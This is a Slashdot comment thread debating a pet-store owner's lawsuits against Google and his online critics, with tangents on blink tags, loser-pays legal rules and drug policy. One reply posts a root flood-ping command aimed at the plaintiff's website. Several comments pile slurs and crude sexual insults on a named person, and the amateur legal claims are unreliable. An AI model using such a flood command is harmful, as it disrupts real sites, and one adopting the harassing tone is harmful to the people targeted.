    I bet he was teased in high school and wants to get back at all the bullies.

    *sigh*

    --
    If a and b in c, and a can create b, and a can create a, and b can create b, and b cannot create a, then a created c.
    1. Re:bad page! bad page!! by Raskolnk · · Score: 5, Funny

      Mr. Novak,

      This letter is to inform you of a class action lawsuit filed against Pets Warehouse ("the Company") on behalf of the rest of the world ("Everybody").

      Everybody asserts that the Company has caused irreversible harm and mental anguish by the use of excessive blink tags and animated gifs on the Company's website. Everybody hereby claims the right to compensation for the aforementioned ailments caused by the Company's lack of taste.

      Regards,
      Everybody

      --
      Don't blame me, I get all my opinions from my Ouija board.
    2. Re:bad page! bad page!! by Anonymous Coward · · Score: 0

      What the fuck is wrong with blinking links? Welcome to 2002 douchebag.

    3. Re:bad page! bad page!! by good-n-nappy · · Score: 2, Funny
      What's really funny is that he used cascading style sheets to do it:
      A.title:link {
      FONT-WEIGHT: normal; FONT-SIZE: 8pt; COLOR: #0000FF; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: blink;
      }
      --
      Never underestimate the power of fiber.
    4. Re:bad page! bad page!! by Raskolnk · · Score: 2

      Welcome to 2002 douchebag.

      Where the fuck have you been? Welcome to 1994.

      --
      Don't blame me, I get all my opinions from my Ouija board.
    5. Re:bad page! bad page!! by crivens · · Score: 1

      Oh no, he's going to sue you now!

    6. Re:bad page! bad page!! by SoupIsGoodFood_42 · · Score: 2

      What's even funnier is that the only browsers that support "blink", don't support CSS properly.

    7. Re:bad page! bad page!! by symbolic · · Score: 2


      There's absolutely nothing wrong with blinking links...the same way there's nothing wrong with wearing your undies on the outside, or walking out of the bathroom with a piece of stray toilet paper attached to your shoe.

    8. Re:bad page! bad page!! by Anonymous Coward · · Score: 0

      Stop violating this man's Intellectual Property! He went to a lot of trouble and expense to innovate that style sheet. How dare you make it available on a website where everyone can see it?!

    9. Re:bad page! bad page!! by neoweb · · Score: 1

      Besides the bad page, are you really going to tell me this guy is doing even close to the $15 million he's sueing for? Hell I just tried going by the site now (4:55p EST) and it's down. I hope they judge has a brain and realizes that there is no way hey was "hurt" this much by any of the websites. Just because your business sucks and isn't making money doesn't mean you can sue people. Hell...if that were true I would have sued every bastard who didn't support my record label! Though if he does win..which would be really really sad, then maybe he can retire and stop giving people headaches with his website.

    10. Re:bad page! bad page!! by good-n-nappy · · Score: 1

      I use Mozilla and was shocked to find out that it still supports blink. Is Mozilla a browser that properly supports CSS or no? Seemed to work on that one at least?

      --
      Never underestimate the power of fiber.
    11. Re:bad page! bad page!! by MikeFM · · Score: 2

      What actually keeps 1000 angry geeks from finding some half-assed reasons to sue him back? Harassing mailing lists seems a dangerous idea as there will almost always be more people on the list that will get defensive than will take your side. Piss off a list of 1000 users and have them each file individual suits against you and you'll end up pissing away a huge amount of time defending yourself and very likely piss off a judge or two.

      Piss off the population of Slashdot and have even a small portion of them sue and you'll be dealing with a full time job just to defend yourself.

      --
      At what price learning? At what cost wisdom? The price is a man's peace of mind, and the cost is his life.
    12. Re:bad page! bad page!! by SoupIsGoodFood_42 · · Score: 2
      http://www.w3.org/TR/REC-CSS2/text.html#q3

      My bad...."blink -- Text blinks (alternates between visible and invisible). Conforming user agents are not required to support this value"

      I knew it was in the CSS specs, but I thought it said encoraged instead of required.

      I'm a bit suppired at Mozilla to. But then again. It's not really a bad spec....Just another abused tool.

  12. This just seems wrong. by Anonymous Coward · · Score: 1, Insightful

    Wait... He's suing someone for reporting the news? Isn't that like, wrong and shit?

    What next, some pedophile suing CNN for reporting that he was arrested & convicted of bangin' a 12 year old?

    No, just like everyone else, I didn't read the article.

    1. Re:This just seems wrong. by Anonymous Coward · · Score: 0

      What next, some pedophile suing CNN for reporting that he was arrested & convicted of bangin' a 12 year old?



      Why not? There is a convicted sex offender in Maine that is suing the sheriff's office for not finding him fast enough when he escaped. Apparently he was hiding in the woods for 3 days and got frostbite, losing 2 of his toes.

    2. Re:This just seems wrong. by slipgun · · Score: 2

      I'm sure people know what to do:
      $ su
      # ping -f www.petswarehouse.com

      --
      SpamNet - a spam blocker that really works
  13. uh oh? by lawngnome · · Score: 0, Redundant

    so does that mean hes going to come after slashdot? I can just imagine the nasty comments that will come from this...

    1. Re:uh oh? by lawngnome · · Score: 1

      as a followup Id like to comment that this guy is a total tool and will deserve the legal assbeating hes about to get...

  14. Be careful what you say about Mr. Novak by Infonaut · · Score: 5, Funny
    Remember, he's in the business of suing people, so be sure not to accuse the no-good, rat-bastard, slimy, underhanded, weaseling, gutless scumbag of doing anything improper.

    --
    Read the EFF's Fair Use FAQ
    1. Re:Be careful what you say about Mr. Novak by PeterHammer · · Score: 2, Informative

      To Hell with Mr. Novak. Is it just me, or isn't one of the pillars of the law in this country called "Free Speech". As I understand it, I can say what I want about Mr. Novak and his petstore, and as long as it is based on opinions of fact, he has no right to sue me. It isn't slandering if I had a bad experience and I tell the world about it. But from Mr. Novak's sick and twisted interpretation of the law, the Better Business Bureau itself should be illegal. Get a clue A55HOLE.

    2. Re:Be careful what you say about Mr. Novak by SquadBoy · · Score: 3, Funny

      I would like to add that in my opnion Novak and his pet store both could suck the chrome off a trailer hitch. That from what I have heard he is the devil incarnate and that he SUCKS SUCKS SUCKS.

      Can I be addedd now? I have a *very* rich friend who would love to bankroll a fight against this twat.

      --

      Cypherpunks: Civil Liberty Through Complex Mathematics. Those who live by the sword die by the arrow.
    3. Re:Be careful what you say about Mr. Novak by avdp · · Score: 2

      Well, he has the right to sue you. He just (most likely) would not win. And that's the problem really, just by suing, people will settle to avoid legal fees and/or inconvienience.

    4. Re:Be careful what you say about Mr. Novak by eXtro · · Score: 2, Interesting
      Yes, there's free speech, but there's also a right to sue people. It's the courts mandate to determine if the lawsuit is proper. If not it can be thrown out. If it isn't thrown out than its the judges mandate to determine if Novak's claims are just.


      Novak, in my opinion, is abusing due process but unfortunately I don't see how to prevent this without gutting the legal system.


      Suppose a group goes out of their way to spread lies about a retailer or an individual. In this case they may be exercising free speech, but they're also engaging in slander. The corporation or individual needs the ability to go to court over this to sue for damages. There's no easy way to screen beforehand whether a persons claim of slander is true or not.


      Now if I were a judge I'd proceed as follows. First, some of the defendants didn't actually make any claims against Novak or his company. They reported or linked to claims made by third parties. I would then either dismiss the lawsuit against those parties or if you can't selectively dismiss parties I would throw the case out of the court and tell Novak to refile with legitimate claims. If the case came to an actual trial I'd examine the claims made by the defendants. Were they based in fact or were they distorted or false? I'd weigh this as a percentage of their culpability. If they were purely factual then they're 0% culpable. Maybe if they were mostly factual but also engaged in mud slinging I'd assign 5% culpability. Next, I'd look at Novak's claims. Were there any actual monetary damages? If so, I'd start with a base settlement based on this amount and the culpability. If the defendants were truthful and there were an actual 15 million in damages Novak would still get nothing.


      Unfortunately, I'm not a lawyer or judge and don't know if any of this is close to a procedure which is even legal.

    5. Re:Be careful what you say about Mr. Novak by Tackhead · · Score: 5, Funny
      > Remember, he's in the business of suing people, so be sure not to accuse the no-good, rat-bastard, slimy, underhanded, weaseling, gutless scumbag of doing anything improper.

      Are you implying that you believe Mr. Novak of Petswarehouse.com is a no-good, rat-bastard, slimy, underhanded, weaseling gutless scumbag?

      I would advise you to be more cautious in the future. The NGRBSUWGSADL - No-Good Rat Bastard Slimy Underhanded Weaseling Gutless Scumbag Anti-Defamation League - might sue you for libel.

    6. Re:Be careful what you say about Mr. Novak by dillon_rinker · · Score: 3, Informative

      Absolutely. The right to petition the government for the redress of grievances (commonly called "suing") is enshrined in the bill of rights.

    7. Re:Be careful what you say about Mr. Novak by Keepiru · · Score: 1

      Actually, there isn't always a "right to sue" there is such a thing as malicious prosecution. If he is suing people with just the intent to harass them, and you can prove it (very very hard to do) even if he wins, you can counter sue him.

    8. Re:Be careful what you say about Mr. Novak by eXtro · · Score: 1
      I think you've still got the right to sue, its just if you use your lawsuit can potentially be viewed as an assault, in which case it becomes malicious prosecution.


      It's sort of like free speech. You're free to say anything. If you say "I've got a gun, give me your money" then your speech has crossed a line where other laws take effect.

    9. Re:Be careful what you say about Mr. Novak by Suppafly · · Score: 3, Insightful

      I have a *very* rich friend who would love to bankroll a fight against this twat.


      If thats true, why isn't your *very* rich friend helping any of the people already involved?

    10. Re:Be careful what you say about Mr. Novak by ceeam · · Score: 1

      Did you forgot Barbara Streizand?

    11. Re:Be careful what you say about Mr. Novak by S.O.B. · · Score: 1
      Are you implying that you believe Mr. Novak of Petswarehouse.com is a no-good, rat-bastard, slimy, underhanded, weaseling gutless scumbag?

      Even if Mr. Novak of Petswarehouse.com is a no-good, rat-bastard, slimy, underhanded, weaseling gutless scumbag doesn't mean that Mr. Novak of Petswarehouse.com should be called a no-good, rat-bastard, slimy, underhanded, weaseling gutless scumbag in a public forum.

      If you think that Mr. Novak of Petswarehouse.com is a no-good, rat-bastard, slimy, underhanded, weaseling gutless scumbag then you should do Mr. Novak of Petswarehouse.com the courtesy of calling him a no-good, rat-bastard, slimy, underhanded, weaseling gutless scumbag to his face.

      --
      Some of what I say is fact, some is conjecture, the rest I'm just blowing out my ass...you guess.
    12. Re:Be careful what you say about Mr. Novak by amadrobus · · Score: 1

      At first, i was not sure it was right for mr Pets Warehouse, but after reading the message that start the whole thing, in my opinions they ARE Bullying peoples. Just look for yourself, the guy does'nt try to kill and destroy Pets Warehouse. Continue the battle against corporate agressors.

    13. Re:Be careful what you say about Mr. Novak by Anonymous Coward · · Score: 0

      The judge will surely throw out his suit as a nuisance suit and reward the defendants legal costs, too.

    14. Re:Be careful what you say about Mr. Novak by Anonymous Coward · · Score: 0

      I fucked Mr. Novak's mom in the asshole and spooged on her back. His mom is a fat fucking whore. You know, I live in his neighborhood and he's always driving around with this homo in his car. I've caught them kissing and fondling each other out in the open a few times too. What a frigging homo!

    15. Re:Be careful what you say about Mr. Novak by BrianH · · Score: 5, Informative

      As much as I despise what Mr. Novak did with the whole fish complaint thing, a quick read of the ACTUAL LAWSUIT shows that this new suit has NOTHING to do with free speech or negative comments from unhappy customers. This is a completely new and UNRELATED lawsuit, that just happens to be from the same guy. Petswarehouse.Com is suing Google, and other search engines and petstores because they are using the Petswarehouse.com trademark to steal customers. Google is included in the suit because they are allowing paid placement customers (competing petstores) to use the PetsWarehouse.Com trademark as a keyword to display their ads. The competing petsores themselves are alleged to have put the petswarehouse.com trademark inside their meta-tags to attract customers. The suit also alleges that PetsWarehouse complained about the trademark infringement to Google, but that Google refused to abide by their own policy and remove the infringing material.

      I hate to say it, but Mr. Novak may actually have a valid trademark suit here!

      --

      There is nothing so pathetic as seeing a beautiful young theory roughed up by a tough gang of facts.
    16. Re:Be careful what you say about Mr. Novak by cmeans · · Score: 2, Funny
      I did the next best thing...and sent a link to your post to him.

      ...Just kidding :)

    17. Re:Be careful what you say about Mr. Novak by Erik+Hollensbe · · Score: 1

      Simple. Attorney Fees.

    18. Re:Be careful what you say about Mr. Novak by Anonymous Coward · · Score: 0

      Ill be careful to note that when I am discussing petswarehouse.com I should only speak about the good quality of the store and how right they are by suing everyone that they have. Also, I will note that I do not know regular expressions.

      s/good quality/sh*tty service/
      s/right/f*cked up/
      s/do not/DO!/

    19. Re:Be careful what you say about Mr. Novak by Anonymous Coward · · Score: 0

      I examined what the suit alleges.
      TheFerretStore.com has the word "pets" but not "warehouse" in its meta tags.
      Didn't check the others, but that one at least appears to be BS.

      A search on google for pets warehouse and "pets warehouse" brings up in the pay section a generic site unnamed as a defendant, that probably just pays to appear on almost any search of a variety of subjects.
      www.mrcheckout.net

    20. Re:Be careful what you say about Mr. Novak by cgadd · · Score: 1

      . Google is included in the suit because they are allowing paid placement customers (competing petstores) to use the PetsWarehouse.

      No, actually, Google is listed because a search for Petswarehouse finds material damaging to Petswarehouse. The suit even mentions something about how Google refused to remove the links to negative comments , presumably about the lawsuit.

    21. Re:Be careful what you say about Mr. Novak by God!+Awful · · Score: 2


      The competing petsores themselves

      Hehe... you said "petsore." As in "Mr Novak, you're a festering petsore."

      -a

    22. Re:Be careful what you say about Mr. Novak by Anonymous Coward · · Score: 0

      Nah, he's in in the back room, giving some junior high kids blowjobs.

      *shurg* Rich people get bored easy.

    23. Re:Be careful what you say about Mr. Novak by Anonymous Coward · · Score: 0

      That is not a valid argument.

      That is like saying gunmakers are guilty of murder because when the gunmakers were notified of homicide, they did not stop making lethal weapons.

      Google did not infringe trademark here.

    24. Re:Be careful what you say about Mr. Novak by Lothsahn · · Score: 1

      He can sue Yahoo for my personal info that they don't have for all I care...

      --
      -=Lothsahn=-
    25. Re:Be careful what you say about Mr. Novak by Anonymous Coward · · Score: 0

      Read the complaint again and do the search at Google. Look at the search results. Look at the meta tags on the sites. You'll see Novak is full of it. The guy can't run a legitimate busniess since he doesn't give a damn about his customers, and has declared bankruptcy at least 3 times in the past, so he's trying to make money by suing.

      The real problem is that the US Government office actually gave him a trademark on 'Pets Warehouse' this last July (well after the other lawsuits which include Trademark Infringement were filed). Now if you sell pet supplies, you will use the word 'pets' as a search keyword for your site. If you sell lots of pet supplies, or ship out of a warehouse you'll use 'warehouse' as a keyword. That's where the problem is. Using those words as keywords is not Tradmark Infringement. Neither is selling ads to companies that use those words as their keywords.

      The US Goverment office should never have allowed 'Pets warehouse' to be trademarked in the first place, that's like getting a trademark on 'Grocery Store'. The words are generic, and if it goes to trial, it will be thrown out.

      More importantly, the scumbag is still pursuing the older lawsuits, which are most definitely about free speech. Make a donation!

    26. Re:Be careful what you say about Mr. Novak by Grizzlysmit · · Score: 1
      Remember, he's in the business of suing people, so be sure not to accuse the no-good, rat-bastard, slimy, underhanded, weaseling, gutless scumbag of doing anything improper.

      what terrible things to say about a perfectly nice brain dead, rabbit fucking, shit faced, total loser of a nutcase moron. Please Mr. nobrain (oops) Novak sue me too, lets see you get Australia to extradite me to New York to face such stupid charges.

      what a complete fuck-wit

      --
      in my life God comes first.... but Linux is pretty high after that :-D
      Francis Smit
  15. What's wrong with the world... by Anonymous Coward · · Score: 0

    When a guy like Novak can get money out of people. He's really showing the quality of his character, and it is my hope that some court smacks the hell out of him financially and legally. Maybe 30 days in county for his flagrant use of the legal system for his personal pulpit (that of anti-him-speech). Or maybe 10 years in federal for being a dick.

    Just a hope.

  16. newsflash for novak by havaloc · · Score: 1

    Someone tell this guy that the phrase 'any publicity is good publicity' isn't always true.

  17. "It's unrealistic" by Anonymous Coward · · Score: 0

    It's unrealistic to sue Google just for mentioning the lawsuit. Suppose they'd sued me for telling someone else about it? I don't have as big a warchest as Google probably does. Is the only thing protecting me from a lawsuit the fact that I don't have enough money to be a viable target, or would they sue anyway, just for spite?

    1. Re:"It's unrealistic" by Anonymous Coward · · Score: 2, Informative

      Know what, you're probably a better target than Google. Why? Well, you don't have as much money, not having as much money means that you are forced to hire a lawyer, fly out to NY (if you don't already live there), etc. That means you're far more likely to just say "Screw this" and settle out of court as it may even be cheaper.

      Here's a relavent quote from an article on the case:

      Resler said his lawyer was confident they could defeat Novak in court. But, Resler said, when the lawyer told the defendants how much it would cost, "we said, 'Settle.' "

      My hope is that after Google finishes with this case, they counter-sue the guy's ass off.

    2. Re:"It's unrealistic" by tomhudson · · Score: 4, Funny
      Well, I'm in Canada, so if he wants to sue me, it's going to cost him some $ to serve me, and then I'll file to get the venue moved to Quebec. And I'll request a trial in french. Fuck him up w. translation costs, interpreter costs, etc., even if it ends up in New York.

      As they say up here, "mange la merde!"

    3. Re:"It's unrealistic" by dgmartin98 · · Score: 1

      Too many freakin' lawyers in the US. Every time I look at a US news site, Mr.X is suing Mr.Y. for six gazillion dollars.

      I'm glad I'm Canadian.

      Dave

      --
      FPGA, Wireless, ASIC, Verilog, VHDL, HW, 10yr exp, Team Lead, Ottawa (More? Email above. slashdotusername=dgmartin98 )
  18. And if you want to slashdot 'em... by splume · · Score: 1

    Click here here and here
    :)

    --

    Who is John Galt?
    1. Re:And if you want to slashdot 'em... by Anonymous Coward · · Score: 0

      Er ... you're asking to /. the *defendants* in the suit, not the plaintiff.

    2. Re:And if you want to slashdot 'em... by Anonymous Coward · · Score: 0

      Um, why would we want to /. the defendants site? These are the people this idiot Novak is trying to sue.

      Posting as Anon C coz I've forgotten my login details :)

      Jherek

    3. Re:And if you want to slashdot 'em... by Flamerule · · Score: 2
      Seriously, don't. As the ACs pointed out, those are the defendants' websites.

      We're currently /.ing the shitdyke plaintiff's website, Professor Faggot Q. Boredom's Lame-U-Cational Cocksuckery. (Alright, I stole that last bit from an Onion article. Shit, that's funny.)

    4. Re:And if you want to slashdot 'em... by Anonymous Coward · · Score: 0

      Mod this twat down

  19. Sad by Anonymous Coward · · Score: 0

    So he sues everyone who badmouths him? That's pretty damn sad.

    Oh crap, I just said something bad about him. Better find a lawyer...

  20. This is good news. by DrEldarion · · Score: 4, Insightful

    Now he's suing people that can actually afford to fight back. I hope he gets the pants beaten off of him by Google's lawyers.

    -- Dr. Eldarion --

    1. Re:This is good news. by Anonymous Coward · · Score: 0

      huh huh.. huhuh. So... would you say that Google's lawyers are... beaten him off?

    2. Re:This is good news. by Dr+Caleb · · Score: 2, Insightful
      I hope the Judge orders the guy to seek out the blow job he so obviously needs.

      Just a little uptight don't you think?

      --
      "History doesn't repeat itself, but it does rhyme." Mark Twain
    3. Re:This is good news. by Gravital.net · · Score: 1
      Poetic justice would be Google filing a countersuit for lawyer fees - just get some high-priced lawyers, and see how Mr Novak likes a judgement in favor of Google for several million dollars!

      --
      Gravital.net email - Web+SSL/IMAP+SSL/POP3 25MB Quota, Only $3/month
    4. Re:This is good news. by dead+sun · · Score: 1

      Even better would be a ruling that all the lawsuits have been frivolous and Mr. Novak being forced to reimburse everybody for their lawyers. Though Google alone winning such would be good because then maybe future sue-ees would go get themselves some decent council with the knowledge that abusive lawsuits don't have to cost them money.

      --
      If not now, when?
    5. Re:This is good news. by phillymjs · · Score: 2

      I hope the Judge orders the guy to seek out the blow job he so obviously needs.

      A court-ordered blowjob? Now THAT is a great idea!

      Better yet, the hot models and actresses who get DUI's and drug convictions should be the ones who have to administer said court-ordered blowjobs. I suppose they could count towards the "community service" that always seems to be the sentence of the Famous Beautiful People who get caught breaking the law.

      ~Philly

    6. Re:This is good news. by Fjord · · Score: 2

      DUIs, I can see: you are wrecklessly endangering those around you. But drug convictions? It's bad enough that people serve jail time (and substantial time at that) for choosing what they do in their spare time, but to force them into performing sex acts on uptight assholes is pretty extreme punishment for the "crime".

      --
      -no broken link
    7. Re:This is good news. by eht · · Score: 1

      yeah, drugs don't hurt anyone but the user, except for the people that cause on the job accidents and then cause the employers rates to go up, drugs stay in your system for hours to days to even longer, i don't want those people driving cars or even operating a stapler near me, not saying they should be punished by performing sex acts on other is appropriate, but at the same time, it most certainly is not a victimless crime

    8. Re:This is good news. by Fjord · · Score: 2

      drugs stay in your system for hours to days to even longer

      First of all, it isn't very common for drugs to last longer than the few hours they are being used. "Drug" tests don't detect the drug itself because it invariably is out of the system within hours. Instead, it testest for metabolites, the result of the chemical reaction of the drug in your body as it processes it (different drugs are processed in different ways for different reasons). Metabolites don't cause a person to "be high" or behave awkwardly.

      Second of all, do you know what happens when people come to work drunk and they cause accidents (or even if they don't). If you guessed "they get fired" then you'd be right. The same thing should apply to drug users (unless, I suppose, they are the societally accepted drugs, like Prozac, Xanax, or nicotine), but going back to what I actually said, none of this applies to people chosing to do something with their own bodies in their spare time.

      No example you can come up with to say that people should serve jail time for choosing the substances they use with their bodies can logically or medically mesh with the legality of alcohol and nicotine. If you have a whole arguement and feel that peole should not be allowed to use those substances (except possibly by prescription), then I understand your point of view, and feel it is consitent, but just differs from my own belief that a person's body and spare time is their own.

      --
      -no broken link
    9. Re:This is good news. by Garnaralf · · Score: 1

      Google is going to bury this stupid fuck in paper, then they'll sue him for filing such frivilous lawsuits, as well as court costs. For once, I really want a huge corporation to win. Go Google!!! Sometimes, it is nice to have in-house lawyers. Oh, BTW Mr. Novak, you are an annoying fuctard who doesn't have the brains God gave the common flea. And your products suck. Now go ahead and sue me. My name is Robert G. Allen from Bridgeport, CT. I'll put your lawsuit in with all the hospital bills I've been sued for. I am, what is commonly known as "unsueable", because I have NOTHING you could recover.

    10. Re:This is good news. by Anonymous Coward · · Score: 0

      That settles it, I'm suing Google too.

    11. Re:This is good news. by Anonymous Coward · · Score: 0

      Poor, wretched, a drain on society, and proud of it!

    12. Re:This is good news. by Anonymous Coward · · Score: 0

      Lets not take notice of the fact that the people who grow/sell/distribute those perfectly safe drugs have plenty fo money for kidnaping.(I'm sure you'll respond with the ever present, "It's the U.S.'s fault because fighting drug use makes prices go up")

      While high on whatever drug they're on, addicts tend to do things most people frown uppon. A crack addict might think its OK to drive to the gas station. Because he's stoned off his ass he drives right into someones little girl. Oh but he's just doing what he wants in the privacy of his own home.

      A mother who smokes weed will inevitably be seen by her children. They get the message that drugs are good. They smoke weed every day like mommy and die of emphasema, just like mommy.

      Perhaps she'll forget to feed her kids because shes too tired after her speed trip.

      Lets not worry about the health effects that from time to time make someone sick. They have to go to the doctor to get seen. They've spent thier money on Heroin or PCP or hash or whatever so tey can't afford it. MY tax dollars go to pay the doctor bills and welfare checks because someone, in the privacy of thier own home, decided to get stoned again instead of getting a job.

      Do some research youself and see what the extended physiological effects of any drug have on the human body.

      Drugs aren't illegal simply out of tradition. I'l admit that the government did the wrong thing to try to keep people away from weed, but that doesn't mean even responsible users will not suffer ill effects.

    13. Re:This is good news. by Fjord · · Score: 0, Offtopic

      Lets not take notice of the fact that the people who grow/sell/distribute those perfectly safe bottles of liquor and cigarettes have plenty fo money for kidnaping.(I'm sure you'll respond with the ever present, "It's the U.S.'s fault because fighting alcohol and nicotine use makes prices go up")

      While drunk on the alcohol they're on, addicts tend to do things most people frown uppon. An alcoholic might think its OK to drive to the gas station. Because he's drunk off his ass he drives right into someones little girl. Oh but he's just doing what he wants in the privacy of his own home.

      A mother who smokes cigarettes will inevitably be seen by her children. They get the message that cigarettes are good. They smoke cigarettes every day like mommy and die of emphasema, just like mommy.

      Perhaps she'll forget to feed her kids because shes too tired after her alcohol binge.

      Lets not worry about the health effects that from time to time make someone sick. They have to go to the doctor to get seen. They've spent thier money on Jack Daniels or vodka or Captain Morgan's Spiced Rum or whatever so tey can't afford it. MY tax dollars go to pay the doctor bills and welfare checks because someone, in the privacy of thier own home, decided to get drunk again instead of getting a job.

      Do some research youself and see what the extended physiological effects of alcohol and cigarettes have on the human body.

      Alcohol and nicotine aren't illegal simply out of tradition. I'l admit that the government did the wrong thing to try to keep people away from chew, but that doesn't mean even responsible users will not suffer ill effects.

      --
      -no broken link
    14. Re:This is good news. by Anonymous Coward · · Score: 0

      Fjord: Free the weed man!

      AR: Drugs are bad.

      Fjord: I agree completely. Oh shit, did I just say that?

  21. Is SlashDot on this list? by phorm · · Score: 5, Interesting

    If not, maybe next week they will be

    Nothing is more idiotic than a legal system that allows one person to abridge the security and personal freedom of another, but exercising their own right to continually sue or press frivolous charges against individuals/organizations that cross their path.

    We NEED a law to deal with idiotic lawsuits. That is to say, one that carries penalties for those use lawsuits as a continual source of revenue. I think I read earlier that there are some laws regarding individuals that are sue happy, why not make it federal (and get the Canadian government to apply one as well, although Canada seems less lawsuit-crazy than the US).

    Lawyers: Who do you want to sue today? - phorm

    1. Re:Is SlashDot on this list? by AnamanFan · · Score: 2

      Correct me if I'm wrong or slightly misleading on this, I'm not a law student.

      Wasn't it Canada (or at least some provinces) that have a law where if you are going to sew someone, the looser of the suit has to pay legal fees of ALL parties. Where if Mr. N would win the suit, the defendants would have to pay for his [substantially smaller] legal fees, and if Mr. N looses, he has to pay legal fees of the defendants.

      --
      AnamanFan - Trying to find the Truth, one post at a time.
    2. Re:Is SlashDot on this list? by demaria · · Score: 2

      "That is to say, one that carries penalties for those use lawsuits as a continual source of revenue."

      Sounds like what lawyers do. ;-)

    3. Re:Is SlashDot on this list? by AntiNorm · · Score: 3, Funny

      We NEED a law to deal with idiotic lawsuits. That is to say, one that carries penalties for those use lawsuits as a continual source of revenue.

      The RIAA would not like that.

      --

      I pledge allegiance to the flag...
      of the Corporate States of America...
    4. Re:Is SlashDot on this list? by bpb213 · · Score: 1

      But whatever would the church of $cientology do with such a law in place?

      --

      This .sig looking for creative and witty saying.
    5. Re:Is SlashDot on this list? by stefiroth · · Score: 1

      The only reason Canada is less lawsuit-crazy is because when you sue someone in Canada, the lawyers do NOT get a percentage, they get flat rate.
      I was told that this was not so in the States, and so American lawyers are willing to accept lawsuits more readily as they can yield a lot of cash.
      This wouldn't really help in the current situation, since this gentleman is representing himself.

      --
      Sig: "Examine the road over which the fault has passed"
    6. Re:Is SlashDot on this list? by override11 · · Score: 1

      That would make sense, but then it would turn into a gamble of who can find / retain the highest price lawyers, and whoever takes the larger risk of getting the more pricey legal team would end up winning, and the other would pay BIG. :(

      --
      No I didnt spell check this post...
    7. Re:Is SlashDot on this list? by Crapflooder+Supreme · · Score: 1

      That's just about every civilized country on the globe, with the exception of the USA, actually.

      AMERICA SUCKS!

      --
      "Don't worry, it's not loaded." --Terry Kath
    8. Re:Is SlashDot on this list? by MarcOiL · · Score: 5, Insightful

      IWALS (I was a Law student), but don't take this as professional advice.

      It certainly is that way here in Europe: the side that loses the case usually has to pay both sides' legal fees (at the judge discretion).

      But not in the USA. Well, maybe it is in some states, but generally every side has to pay its own legal fees.

      Maybe that's the reason we have so few of those plainly stupid suits here, as if you sue someone you have to be really sure of it or face paying up your lawyer and theirs.

      Some statistics I read a while ago (might have changed): While in the USA 80% of the suits are between private parties, in Europe only 20% are. The rest are between the State and the defendant, that is, criminal suits.

      Until I got to this fundamental difference, I didn't understand why lawyers were so important in the USA.

      --
      If I have posted far, it is because I replied to giants.
    9. Re:Is SlashDot on this list? by Anonymous Coward · · Score: 0
      the looser of the suit has to pay legal fees of ALL parties

      I hear the loser of the suit also has to pay...

    10. Re:Is SlashDot on this list? by Anonymous Coward · · Score: 0

      However, most countries limit this amount to a certain maximum, and not seldom, a very small amount compared to what good lawyers would charge.

    11. Re:Is SlashDot on this list? by phorm · · Score: 2

      Yes, that's the way it works here. I actually thought the US had something similar to this, but no? That's surprising, but would explain the fact that there are less frivolous lawsuits in Canada.

      It's not always a good system though. I've heard it really sucks when one contests a traffic ticket and fails, because sometimes they can apparently ding you for the court charge on that, then you have to pay both. If it's a case of mostly your word VS traffic cop... it often encourages you to take a crappy ticket.

    12. Re:Is SlashDot on this list? by phorm · · Score: 2

      I think this is wrong. To my knowledge, lawyers can work on a contingency or flat rate basis. I've seen cases with both.

      If somebody can't afford the initial flat rate of a lawyer, but has a viable case, the percentage basis is a viable option - but that's up to the lawyer to decide whether the case is worth it. A lawyer could probably choose to be paid in bottle caps if he/she wanted, it's the lawyers choice to take the case.

    13. Re:Is SlashDot on this list? by gorilla · · Score: 2

      Canada has the same basic rules as Britain. In this, the judge decides who should pay the costs. If the judge thinks that the looser had a good case, then he'll not award costs, and therefore each party has to pay their own costs. If the looser had a bad case, and they shouldn't have been wasting everyones time, then the winner will be awarded costs, and the looser has to pay their costs. In rare cases, the looser will be awarded costs, so that the winner has to pay the loosers costs.

    14. Re:Is SlashDot on this list? by Anonymous Coward · · Score: 1, Informative

      well, IAAL :) and there are ways to deal with frivolous suits. Unfortunately, a lot of people are unwilling to fight these things out. Businesses also usually decide to settle based on an economic analysis -- cost of settlement versus cost of defense + (amount of possible adverse outcome x liklihood of adverse outcome). Even if the liklihood of an adverse outcome is very small, the cost of defense can be high (big firm billing rates start at $200/hr, and can be significantly higher than that).

      The main ways to deal with frivolous suits:
      1) Motion to dismiss/Motion for Summary judgment: In the former, you argue to the judge that even if the facts are as plainitff has alleged, there is no legal claim, or that the court has no jurisdiction to hear the case. In the latter, you can argue the facts, and demonstrate that if there is no real dispute over the facts, plaintiff cannot support his or her legal claims. The latter is more expensive, because usually you must conduct discovery inorder to substantiate your version of the facts. (Note: the above is a broad simplication of somewhat complicated legal manuevers)

      2) Move for santions under Rule 11: a plaintiff (or attorney, if represented by counsel) has an obligation not to file fraudulent or frivolous suits. Courts tend to err of the side of not sanctioning pro se plainiffs (don't want to appear to be denying access to the courts to the poor), but they will sanction if provoked.

      Probably the biggets problem is touched upon by our Canadian friend -- unless the case involves a statute that so provides, the default rule in the US is that each side is responsible for their own costs. Once again, if the court wishes to sanction a party, it has the power to assess the other side's costs, but that's rare -- probably too rare. Nevertheless, the courts don't want to be seen as discouraging the "little guy" from seekig redress through the courts.

    15. Re:Is SlashDot on this list? by Drassk · · Score: 1

      Canada does have a law protecting us from frivilous lawsuits. It's some subset of British common-law (some of which still stands here) that pretty much says that if you lose a lawsuit then you pay their bills, too.

    16. Re:Is SlashDot on this list? by Syncdata · · Score: 1

      Almost certainly, as a search in the News section of Google lists this thread as first and second items out of two. Let's hope Mssr. Novak uses Yahoo!

      --
      "Inattention makes clowns of us all" -Bean
    17. Re:Is SlashDot on this list? by arne · · Score: 1

      In other countries, if you sue someone (and actually if you get sued) and loose you have to pay the legal costs of the counterpart. That would solve a lot of problems if this was the case (default) in the US.

      Ofcourse then there is a big difference between anglosaxan case base law, and other countries where, the parlament decided how the law should be used.

      Anyhow, this things are to my knowledhe certainly much much worse in the US than anywhere else.

      Some interesting differences:

      I burn myself on hot coffee I bought:
      US - sue for >$1.000 Sweden: Get a free coffee

      I get hit by a car and get pain in my neck;
      US - sue for >$100.000 Sweden: Get possible $10.000

      After spending 8 years in prison, new evidence show that I am not quilty:

      US: Get $0 Sweden: Get >$100.000

      That's all folks....

      --
      Copyright 1998 arne Verbatim copying and distribution is permited as long as this message is preserved
    18. Re:Is SlashDot on this list? by stefiroth · · Score: 1

      It's entirely possible that I'm wrong, I never did end up studying law.

      But which lawyers are you talking about? Canadian ones or American ones? I wouldn't be surprised of American lawyers had the freedom to accept either form of payment (or bottlecaps ;)) but I have been operating under the impression that a Canadian lawyer cannot accept a percentage.

